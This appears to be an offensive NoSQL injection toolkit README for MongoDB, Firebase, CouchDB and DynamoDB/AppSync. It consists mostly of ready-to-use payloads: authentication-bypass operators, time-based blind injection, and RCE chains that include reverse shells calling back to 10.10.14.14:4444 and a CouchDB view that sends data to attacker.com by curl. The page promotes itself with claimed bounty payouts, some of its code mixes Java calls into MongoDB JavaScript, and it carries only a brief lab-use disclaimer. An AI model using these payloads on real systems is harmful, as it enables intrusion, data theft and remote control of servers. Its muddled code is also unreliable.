NoSQL Injection exploitation toolkit & write-ups (2025)
Still the most underrated RCE vector after 10 years
“SQLi is dead. Long live NoSQLi.”
| Feature | Classic SQLi | NoSQL Injection (MongoDB, CouchDB, DynamoDB, Firebase…) |
|---|---|---|
| Syntax | ' OR 1=1 -- |
{"$ne": null} , {"$gt": ""} |
| Blind technique | Time-based (SLEEP) | Sleep via JavaScript injection (;sleep(5000);) |
| WAF bypass | Hard (ModSecurity rules) | Almost none (most WAFs ignore $ operators) |
| RCE possibility | Rare | Very common (eval, $where, mapReduce, JavaScript engine) |
| Program | Bounty | Technique |
|---|---|---|
| U.S. Bank | $40,000 | MongoDB $where → RCE |
| Crypto Exchange | $35,000 | Firebase Realtime DB → Admin takeover |
| Fortune-500 | $28,000 | CouchDB _view + map function RCE |
| Private Gov | $55,000 | DynamoDB + Lambda trigger → AWS keys |
These work on MongoDB, Firebase, CouchDB, Cassandra, DynamoDB:
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$gt": ""}, "password": {"$gt": ""}}
{"$where": "1 == 1"}
{"$where": "sleep(5000)"}
{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}
{"user": {"$exists": true}}
login bypass → NoSQLi confirmed
## Exploitation – Engine-Specific Chains (2025 working)
### 1. MongoDB – JavaScript Injection ($where, mapReduce)
```js
# Classic login bypass
{"username": {"$ne": ""}, "password": {"$ne": ""}}
# Blind time-based
{"$where": "sleep(10000)"}
# Full RCE (Node.js + child_process)
{"$where": "function() { require('child_process').exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.14 4444 >/tmp/f'); return true; }"}
// One-liner reverse shell (2025 most stable)
{"username":{"$eq":"admin"},"password":{"$regex":"^"},"$where":"function(){java.lang.Runtime.getRuntime().exec('bash -i >& /dev/tcp/10.10.14.14/4444 0>&1')}"}
2. Firebase Realtime Database / Firestore
# Admin SDK key leakage
"rules": { ".read": "auth != null && auth.token.email == 'admin@target.com'" } → change to true
# Direct RCE via Cloud Functions trigger
POST /function-name
{ "data": {"$__proto__": { "shell": "whoami" }}}
3. CouchDB – View Map Function RCE
# Create malicious view
{
"language": "javascript",
"views": {
"pwn": {
"map": "function(doc) { require('child_process').execSync('curl http://attacker.com/'+doc._id); }"
}
}
}
4. AWS AppSync + GraphQL + DynamoDB
query { user(email: { eq: "admin@target.com\" && this.constructor.constructor(\"require('child_process').exec('id')\")() && \"" }) { id } }
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# SSTI Toolkit – Server-Side Template
## Disclaimer
For educational/lab use only. Do not use on production systems without permission.
Author: hikmeteli (@hikmeteli)
Last updated: Dec 2025